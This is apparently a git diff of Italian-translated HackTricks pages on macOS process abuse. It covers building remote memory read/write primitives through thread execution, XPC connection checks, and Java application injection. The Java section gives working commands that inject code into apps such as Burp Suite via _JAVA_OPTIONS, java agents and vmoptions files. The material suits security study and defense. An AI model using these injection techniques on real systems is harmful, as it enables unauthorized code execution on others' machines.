remoto per acquisire un diritto di invio alla nuova porta Mach allocata nel task remoto. -Il completamento di questi passaggi porta all'instaurazione di porte Mach, gettando le basi per la comunicazione bidirezionale. +Il completamento di questi passaggi porta all'istituzione di porte Mach, ponendo le basi per la comunicazione bidirezionale. -## 3. Primitive di base per la lettura/scrittura di memoria +## 3. Basic Memory Read/Write Primitives -In questa sezione, l'attenzione è rivolta all'utilizzo della primitiva di esecuzione per stabilire primitive di base per la lettura e la scrittura di memoria. Questi passaggi iniziali sono cruciali per ottenere un maggiore controllo sul processo remoto, anche se le primitive in questa fase non serviranno a molti scopi. Presto, saranno aggiornate a versioni più avanzate. +In questa sezione, l'attenzione è rivolta all'utilizzo del primitivo di esecuzione per stabilire primitivi di lettura e scrittura della memoria di base. Questi passaggi iniziali sono cruciali per ottenere un maggiore controllo sul processo remoto, anche se i primitivi in questa fase non serviranno a molti scopi. Presto, saranno aggiornati a versioni più avanzate. -### Lettura e scrittura di memoria utilizzando la primitiva di esecuzione +### Memory Reading and Writing Using Execute Primitive -L'obiettivo è eseguire la lettura e la scrittura di memoria utilizzando funzioni specifiche. Per la lettura della memoria, vengono utilizzate funzioni che assomigliano alla seguente struttura: +L'obiettivo è eseguire letture e scritture di memoria utilizzando funzioni specifiche. Per leggere la memoria, vengono utilizzate funzioni che somigliano alla seguente struttura: ```c uint64_t read_func(uint64_t *address) { return *address; @@ -62,7 +63,7 @@ void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -Queste funzioni corrispondono alle istruzioni assembly fornite: +Queste funzioni corrispondono alle istruzioni di assembly fornite: ``` _read_func: ldr x0, [x0] @@ -71,57 +72,57 @@ _write_func: str x1, [x0] ret ``` -### Identificazione delle funzioni adatte +### Identifying Suitable Functions Una scansione delle librerie comuni ha rivelato candidati appropriati per queste operazioni: -1. **Lettura della memoria:** -La funzione `property_getName()` della [libreria Objective-C runtime](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) è identificata come una funzione adatta per la lettura della memoria. La funzione è descritta di seguito: +1. **Reading Memory:** +La funzione `property_getName()` della [libreria runtime Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) è identificata come una funzione adatta per leggere la memoria. La funzione è descritta di seguito: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -Questa funzione agisce efficacemente come la `read_func` restituendo il primo campo di `objc_property_t`. +Questa funzione agisce efficacemente come il `read_func` restituendo il primo campo di `objc_property_t`. -2. **Scrittura di memoria:** -Trovare una funzione predefinita per la scrittura di memoria è più difficile. Tuttavia, la funzione `_xpc_int64_set_value()` di libxpc è un candidato adatto con la seguente disassemblazione: +2. **Scrittura della Memoria:** +Trovare una funzione predefinita per la scrittura della memoria è più difficile. Tuttavia, la funzione `_xpc_int64_set_value()` di libxpc è un candidato adatto con il seguente disassemblaggio: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Per eseguire una scrittura a 64 bit in un indirizzo specifico, la chiamata remota è strutturata come segue: +Per eseguire una scrittura a 64 bit a un indirizzo specifico, la chiamata remota è strutturata come: ```c _xpc_int64_set_value(address - 0x18, value) ``` -Con queste primitive stabilite, il palcoscenico è pronto per creare una memoria condivisa, segnando un significativo progresso nel controllo del processo remoto. +Con queste primitive stabilite, il terreno è pronto per creare memoria condivisa, segnando un progresso significativo nel controllo del processo remoto. -## 4. Configurazione della memoria condivisa +## 4. Configurazione della Memoria Condivisa -L'obiettivo è stabilire una memoria condivisa tra i task locali e remoti, semplificando il trasferimento dei dati e agevolando la chiamata di funzioni con argomenti multipli. L'approccio prevede di sfruttare `libxpc` e il suo tipo di oggetto `OS_xpc_shmem`, che si basa su voci di memoria Mach. +L'obiettivo è stabilire memoria condivisa tra compiti locali e remoti, semplificando il trasferimento dei dati e facilitando la chiamata di funzioni con più argomenti. L'approccio prevede di sfruttare `libxpc` e il suo tipo di oggetto `OS_xpc_shmem`, che si basa sulle voci di memoria Mach. -### Panoramica del processo: +### Panoramica del Processo: -1. **Assegnazione della memoria**: -- Assegnare la memoria per la condivisione utilizzando `mach_vm_allocate()`. -- Utilizzare `xpc_shmem_create()` per creare un oggetto `OS_xpc_shmem` per la regione di memoria allocata. Questa funzione gestirà la creazione dell'entry di memoria Mach e memorizzerà il diritto di invio Mach all'offset `0x18` dell'oggetto `OS_xpc_shmem`. +1. **Allocazione della Memoria**: +- Allocare la memoria per la condivisione utilizzando `mach_vm_allocate()`. +- Utilizzare `xpc_shmem_create()` per creare un oggetto `OS_xpc_shmem` per la regione di memoria allocata. Questa funzione gestirà la creazione della voce di memoria Mach e memorizzerà il diritto di invio Mach all'offset `0x18` dell'oggetto `OS_xpc_shmem`. -2. **Creazione della memoria condivisa nel processo remoto**: +2. **Creazione della Memoria Condivisa nel Processo Remoto**: - Allocare memoria per l'oggetto `OS_xpc_shmem` nel processo remoto con una chiamata remota a `malloc()`. -- Copiare il contenuto dell'oggetto `OS_xpc_shmem` locale nel processo remoto. Tuttavia, questa copia iniziale avrà nomi di entry di memoria Mach errati all'offset `0x18`. +- Copiare il contenuto dell'oggetto `OS_xpc_shmem` locale nel processo remoto. Tuttavia, questa copia iniziale avrà nomi di voci di memoria Mach errati all'offset `0x18`. -3. **Correzione dell'entry di memoria Mach**: -- Utilizzare il metodo `thread_set_special_port()` per inserire un diritto di invio per l'entry di memoria Mach nel task remoto. -- Correggere il campo dell'entry di memoria Mach all'offset `0x18` sovrascrivendolo con il nome dell'entry di memoria remota. +3. **Correzione della Voce di Memoria Mach**: +- Utilizzare il metodo `thread_set_special_port()` per inserire un diritto di invio per la voce di memoria Mach nel compito remoto. +- Correggere il campo della voce di memoria Mach all'offset `0x18` sovrascrivendolo con il nome della voce di memoria remota. -4. **Finalizzazione della configurazione della memoria condivisa**: +4. **Finalizzazione della Configurazione della Memoria Condivisa**: - Validare l'oggetto `OS_xpc_shmem` remoto. - Stabilire la mappatura della memoria condivisa con una chiamata remota a `xpc_shmem_remote()`. -Seguendo questi passaggi, la memoria condivisa tra i task locali e remoti verrà configurata in modo efficiente, consentendo trasferimenti di dati semplici e l'esecuzione di funzioni che richiedono argomenti multipli. +Seguendo questi passaggi, la memoria condivisa tra i compiti locali e remoti sarà configurata in modo efficiente, consentendo trasferimenti di dati semplici e l'esecuzione di funzioni che richiedono più argomenti. -## Esempi di codice aggiuntivi +## Ulteriori Esempi di Codice Per l'allocazione della memoria e la creazione dell'oggetto di memoria condivisa: ```c @@ -133,48 +134,49 @@ Per creare e correggere l'oggetto di memoria condivisa nel processo remoto: malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -Ricorda di gestire correttamente i dettagli delle porte Mach e dei nomi delle voci di memoria per garantire il corretto funzionamento della configurazione della memoria condivisa. +Ricorda di gestire correttamente i dettagli dei port Mach e dei nomi delle voci di memoria per garantire che la configurazione della memoria condivisa funzioni correttamente. -## 5. Ottenere il pieno controllo +## 5. Ottenere il Controllo Completo -Una volta stabilita con successo la memoria condivisa e acquisita la capacità di esecuzione arbitraria, abbiamo essenzialmente ottenuto il pieno controllo sul processo target. Le funzionalità chiave che consentono questo controllo sono: +Una volta stabilita con successo la memoria condivisa e acquisita la capacità di esecuzione arbitraria, abbiamo essenzialmente ottenuto il controllo completo sul processo target. Le funzionalità chiave che abilitano questo controllo sono: -1. **Operazioni di memoria arbitrarie**: +1. **Operazioni di Memoria Arbitraria**: - Eseguire letture di memoria arbitrarie invocando `memcpy()` per copiare dati dalla regione condivisa. -- Eseguire scritture di memoria arbitrarie utilizzando `memcpy()` per trasferire dati alla regione condivisa. +- Eseguire scritture di memoria arbitrarie utilizzando `memcpy()` per trasferire dati nella regione condivisa. -2. **Gestione delle chiamate di funzione con argomenti multipli**: +2. **Gestione delle Chiamate di Funzione con Più Argomenti**: - Per le funzioni che richiedono più di 8 argomenti, disporre gli argomenti aggiuntivi nello stack in conformità con la convenzione di chiamata. -3. **Trasferimento di porte Mach**: -- Trasferire porte Mach tra task tramite messaggi Mach tramite porte precedentemente stabilite. +3. **Trasferimento di Port Mach**: +- Trasferire port Mach tra i task tramite messaggi Mach attraverso port precedentemente stabiliti. -4. **Trasferimento di descrittori di file**: -- Trasferire descrittori di file tra processi utilizzando fileport, una tecnica evidenziata da Ian Beer in `triple_fetch`. +4. **Trasferimento di Descrittori di File**: +- Trasferire descrittori di file tra i processi utilizzando fileports, una tecnica evidenziata da Ian Beer in `triple_fetch`. -Questo controllo completo è racchiuso nella libreria [threadexec](https://github.com/bazad/threadexec), che fornisce un'implementazione dettagliata e un'API user-friendly per l'interazione con il processo vittima. +Questo controllo completo è racchiuso all'interno della libreria [threadexec](https://github.com/bazad/threadexec), che fornisce un'implementazione dettagliata e un'API user-friendly per l'interazione con il processo vittima. -## Considerazioni importanti: +## Considerazioni Importanti: -- Assicurarsi di utilizzare correttamente `memcpy()` per le operazioni di lettura/scrittura di memoria al fine di mantenere la stabilità del sistema e l'integrità dei dati. -- Quando si trasferiscono porte Mach o descrittori di file, seguire i protocolli appropriati e gestire le risorse in modo responsabile per evitare perdite o accessi non intenzionali. +- Assicurati di utilizzare correttamente `memcpy()` per le operazioni di lettura/scrittura della memoria per mantenere la stabilità del sistema e l'integrità dei dati. +- Quando trasferisci port Mach o descrittori di file, segui i protocolli appropriati e gestisci le risorse in modo responsabile per prevenire leak o accessi non intenzionati. -Seguendo queste linee guida e utilizzando la libreria `threadexec`, è possibile gestire ed interagire con i processi a un livello granulare, ottenendo il pieno controllo sul processo target. +Seguendo queste linee guida e utilizzando la libreria `threadexec`, è possibile gestire e interagire con i processi a un livello granulare, ottenendo il controllo completo sul processo target. ## Riferimenti * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 46b1224c8..f3883fdb4 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,58 +1,59 @@ -# Controllo del processo di connessione XPC su macOS +# macOS XPC Connecting Process Check + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Controllo del processo di connessione XPC +## XPC Connecting Process Check -Quando viene stabilita una connessione a un servizio XPC, il server verifica se la connessione è consentita. Di seguito sono riportati i controlli che solitamente vengono eseguiti: +Quando viene stabilita una connessione a un servizio XPC, il server verificherà se la connessione è consentita. Questi sono i controlli che di solito esegue: -1. Verifica se il **processo di connessione è firmato con un certificato firmato da Apple** (concesso solo da Apple). -* Se ciò **non viene verificato**, un attaccante potrebbe creare un **certificato falso** per corrispondere a qualsiasi altro controllo. -2. Verifica se il processo di connessione è firmato con il **certificato dell'organizzazione** (verifica dell'ID del team). -* Se ciò **non viene verificato**, **qualsiasi certificato di sviluppatore** di Apple può essere utilizzato per la firma e la connessione al servizio. -3. Verifica se il processo di connessione **contiene un bundle ID corretto**. -* Se ciò **non viene verificato**, qualsiasi strumento **firmato dalla stessa organizzazione** potrebbe essere utilizzato per interagire con il servizio XPC. -4. (4 o 5) Verifica se il processo di connessione ha un **numero di versione del software corretto**. -* Se ciò **non viene verificato**, potrebbe essere utilizzato un client obsoleto e non sicuro, vulnerabile all'iniezione di processo, per connettersi al servizio XPC anche con gli altri controlli in atto. -5. (4 o 5) Verifica se il processo di connessione ha un runtime protetto senza entitlement pericolosi (come quelli che consentono di caricare librerie arbitrarie o utilizzare variabili di ambiente DYLD). -1. Se ciò **non viene verificato**, il client potrebbe essere **vulnerabile all'iniezione di codice**. -6. Verifica se il processo di connessione ha un **entitlement** che gli consente di connettersi al servizio. Questo si applica alle applicazioni Apple. -7. La **verifica** deve essere **basata** sul **token di audit del client** di connessione **anziché** sul suo ID di processo (**PID**) poiché il primo previene gli attacchi di **riutilizzo del PID**. -* Gli sviluppatori **raramente utilizzano** la chiamata API del token di audit poiché è **privata**, quindi Apple potrebbe **modificarla** in qualsiasi momento. Inoltre, l'uso di API private non è consentito nelle app del Mac App Store. -* Se viene utilizzato il metodo **`processIdentifier`**, potrebbe essere vulnerabile -* Dovrebbe essere utilizzato **`xpc_dictionary_get_audit_token`** invece di **`xpc_connection_get_audit_token`**, poiché quest'ultimo potrebbe anche essere [vulnerabile in determinate situazioni](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. Controlla se il **processo di connessione è firmato con un certificato firmato da Apple** (rilasciato solo da Apple). +* Se questo **non è verificato**, un attaccante potrebbe creare un **certificato falso** per soddisfare qualsiasi altro controllo. +2. Controlla se il processo di connessione è firmato con il **certificato dell'organizzazione** (verifica dell'ID del team). +* Se questo **non è verificato**, **qualsiasi certificato di sviluppatore** di Apple può essere utilizzato per la firma e connettersi al servizio. +3. Controlla se il processo di connessione **contiene un ID bundle appropriato**. +* Se questo **non è verificato**, qualsiasi strumento **firmato dalla stessa org** potrebbe essere utilizzato per interagire con il servizio XPC. +4. (4 o 5) Controlla se il processo di connessione ha un **numero di versione software appropriato**. +* Se questo **non è verificato**, un client vecchio e insicuro, vulnerabile all'iniezione di processi, potrebbe essere utilizzato per connettersi al servizio XPC anche con gli altri controlli in atto. +5. (4 o 5) Controlla se il processo di connessione ha un runtime rinforzato senza diritti pericolosi (come quelli che consentono di caricare librerie arbitrarie o utilizzare variabili d'ambiente DYLD). +1. Se questo **non è verificato**, il client potrebbe essere **vulnerabile all'iniezione di codice**. +6. Controlla se il processo di connessione ha un **diritto** che gli consente di connettersi al servizio. Questo è applicabile per i binari Apple. +7. La **verifica** deve essere **basata** sul **token di audit del client di connessione** **invece** che sul suo ID processo (**PID**) poiché il primo previene **attacchi di riutilizzo del PID**. +* Gli sviluppatori **raramente utilizzano la chiamata API del token di audit** poiché è **privata**, quindi Apple potrebbe **cambiarla** in qualsiasi momento. Inoltre, l'uso di API private non è consentito nelle app del Mac App Store. +* Se viene utilizzato il metodo **`processIdentifier`**, potrebbe essere vulnerabile. +* **`xpc_dictionary_get_audit_token`** dovrebbe essere utilizzato invece di **`xpc_connection_get_audit_token`**, poiché quest'ultimo potrebbe anche essere [vulnerabile in determinate situazioni](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). -### Attacchi di comunicazione +### Communication Attacks -Per ulteriori informazioni sull'attacco di riutilizzo del PID, controlla: +Per ulteriori informazioni sull'attacco di riutilizzo del PID controlla: {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -Per ulteriori informazioni sull'attacco **`xpc_connection_get_audit_token`**, controlla: +Per ulteriori informazioni sull'attacco **`xpc_connection_get_audit_token`** controlla: {% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %} [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Trustcache - Prevenzione degli attacchi di declassamento +### Trustcache - Downgrade Attacks Prevention -Trustcache è un metodo difensivo introdotto nelle macchine Apple Silicon che memorizza un database di CDHSAH dei binari Apple in modo che solo i binari non modificati consentiti possano essere eseguiti. Ciò impedisce l'esecuzione di versioni di declassamento. +Trustcache è un metodo difensivo introdotto nelle macchine Apple Silicon che memorizza un database di CDHSAH dei binari Apple in modo che solo i binari non modificati autorizzati possano essere eseguiti. Questo previene l'esecuzione di versioni downgrade. -### Esempi di codice +### Code Examples Il server implementerà questa **verifica** in una funzione chiamata **`shouldAcceptNewConnection`**. @@ -65,9 +66,9 @@ return YES; ``` {% endcode %} -L'oggetto NSXPCConnection ha una proprietà **privata** chiamata **`auditToken`** (quella che dovrebbe essere utilizzata ma potrebbe cambiare) e una proprietà **pubblica** chiamata **`processIdentifier`** (quella che non dovrebbe essere utilizzata). +L'oggetto NSXPCConnection ha una proprietà **privata** **`auditToken`** (quella che dovrebbe essere utilizzata ma potrebbe cambiare) e una proprietà **pubblica** **`processIdentifier`** (quella che non dovrebbe essere utilizzata). -Il processo di connessione potrebbe essere verificato con qualcosa del genere: +Il processo di connessione potrebbe essere verificato con qualcosa come: {% code overflow="wrap" %} ```objectivec @@ -89,7 +90,9 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef); SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken); SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)) ``` -Se uno sviluppatore non vuole controllare la versione del client, potrebbe almeno verificare che il client non sia vulnerabile all'iniezione di processo: +{% endcode %} + +Se un sviluppatore non vuole controllare la versione del client, potrebbe verificare che il client non sia vulnerabile all'iniezione di processi almeno: {% code overflow="wrap" %} ```objectivec @@ -108,16 +111,17 @@ return Yes; // Accept connection ``` {% endcode %} +{% hint style="success" %} +Impara e pratica il hacking su AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking su GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index 995a9505a..4f5b54db6 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# Iniezione di Applicazioni Java su macOS +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## Enumerazione -Trova le applicazioni Java installate nel tuo sistema. È stato notato che le app Java nel file **Info.plist** conterranno alcuni parametri Java che contengono la stringa **`java.`**, quindi puoi cercare questo: +Trova le applicazioni Java installate nel tuo sistema. È stato notato che le app Java nel **Info.plist** conterranno alcuni parametri java che contengono la stringa **`java.`**, quindi puoi cercare quello: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -La variabile di ambiente **`_JAVA_OPTIONS`** può essere utilizzata per iniettare parametri java arbitrari nell'esecuzione di un'applicazione compilata in java: +La variabile di ambiente **`_JAVA_OPTIONS`** può essere utilizzata per iniettare parametri java arbitrari nell'esecuzione di un'app compilata in java: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -Per eseguirlo come un nuovo processo e non come un figlio del terminale corrente, puoi utilizzare: +Per eseguirlo come un nuovo processo e non come un figlio del terminale corrente, puoi usare: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -Tuttavia, ciò provocherà un errore nell'applicazione eseguita. Un modo più stealth è creare un agente Java e utilizzare: +Tuttavia, ciò genererà un errore nell'app eseguita, un modo più furtivo è creare un agente java e utilizzare: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,12 +96,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -Creare l'agente con una **versione Java diversa** da quella dell'applicazione può causare il blocco dell'esecuzione sia dell'agente che dell'applicazione. +Creare l'agente con una **versione Java diversa** dall'applicazione può causare il crash dell'esecuzione sia dell'agente che dell'applicazione {% endhint %} Dove l'agente può essere: -{% code title="Agente.java" %} +{% code title="Agent.java" %} ```java import java.io.*; import java.lang.instrument.*; @@ -131,7 +132,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -E quindi esporta la variabile di ambiente e avvia l'applicazione Java come segue: +E poi esporta la variabile env ed esegui l'applicazione java come: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` -## File vmoptions +## vmoptions file -Questo file supporta la specifica dei **parametri Java** quando Java viene eseguito. Puoi utilizzare alcuni dei trucchi precedenti per modificare i parametri Java e **far eseguire al processo comandi arbitrari**.\ -Inoltre, questo file può anche **includere altri file** con la directory `include`, quindi è possibile modificare anche un file incluso. +Questo file supporta la specifica dei **parametri Java** quando Java viene eseguito. Potresti usare alcuni dei trucchi precedenti per cambiare i parametri java e **far eseguire al processo comandi arbitrari**.\ +Inoltre, questo file può anche **includere altri** con la directory `include`, quindi potresti anche cambiare un file incluso. -Ancora di più, alcune applicazioni Java caricheranno **più di un file `vmoptions`**. +Ancora di più, alcune app Java **caricheranno più di un file `vmoptions`**. -Alcune applicazioni come Android Studio indicano nel loro **output dove cercano** questi file, ad esempio: +Alcune applicazioni come Android Studio indicano nel loro **output dove stanno cercando** questi file, come: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -158,7 +159,7 @@ Alcune applicazioni come Android Studio indicano nel loro **output dove cercano* 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -Se non lo fanno, puoi facilmente verificarlo con: +Se non lo fanno, puoi facilmente controllarlo con: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -È interessante notare che in questo esempio Android Studio sta cercando di caricare il file **`/Applications/Android Studio.app.vmoptions`**, un luogo in cui ogni utente del gruppo **`admin` ha accesso in scrittura**. - -
